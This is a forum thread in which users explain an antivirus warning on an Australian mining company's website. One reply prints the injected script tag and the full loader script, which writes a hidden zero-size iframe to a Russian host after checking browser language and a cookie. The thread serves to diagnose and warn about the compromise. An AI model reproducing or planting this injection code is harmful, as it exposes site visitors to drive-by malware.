Avast Home Edition Pops up with this site

[Albinoni]

I went on to this Australian Mining site and everytime I do so Avast pops up and warns me. Not sure what the hell is going on here, but starngely enough it tells me the site is russian, when infact its Australian Mining Site

This is the website:

www.polarismetals.com.au

[doktornotor]

No wonder...

<title>Polaris Metals NL &raquo; Welcome to Polaris Metals NL<script src=http://www.uhwc.ru/js.js></script>

::)

[Albinoni]

May I ask how did you do that code thing ?

I did actually go that ru site and its actually a Union Bank and Trust Company and when I went to the site itself strangely Avast did not pop up.

[doktornotor]

-{ Quote: "May I ask how did you do that code thing ?

I did actually go that ru site and its actually a Union Bank and Trust Company and when I went to the site itself strangely Avast did not pop up." }-

Use something like "View source code" in your browser...

And here's the js.js script:


window.status="";
n=navigator.userLanguage.toUpperCase();
if((n!="ZH-CN")&&(n!="ZH-MO")&&(n!="ZH-HK")&&(n!="BN")&&(n!="GU")&&(n!="NE")&&(n!="PA")&&(n!="ID")&&(n!="EN-PH")&&(n!="UR")&&(n!="RU")&&(n!="KO")&&(n!="ZH-TW")&&(n!="ZH")&&(n!="HI")&&(n!="TH")&&(n!="VI")){
var cookieString = document.cookie;
var start = cookieString.indexOf("v1goo=");
if (start != -1){}else{
var expires = new Date();
expires.setTime(expires.getTime()+9*3600*1000);
document.cookie = "v1goo=update;expires="+expires.toGMTString();
try{
document.write("<iframe src=http://ncbw.ru/cgi-bin/index.cgi?ad width=0 height=0 frameborder=0></iframe>");
}
catch(e)
{
};
}}


The guys should check their webhosting's security ... :P Asprox domains (http://www.dynamoo.com/blog/labels/SQL%20Injection.html)...

[Albinoni]

Ok I did work it out by using notepad.

[emperordarius]

http://www.finjan.com/MCRCblog.aspx?EntryId=2002

Virustotal scan: 14/36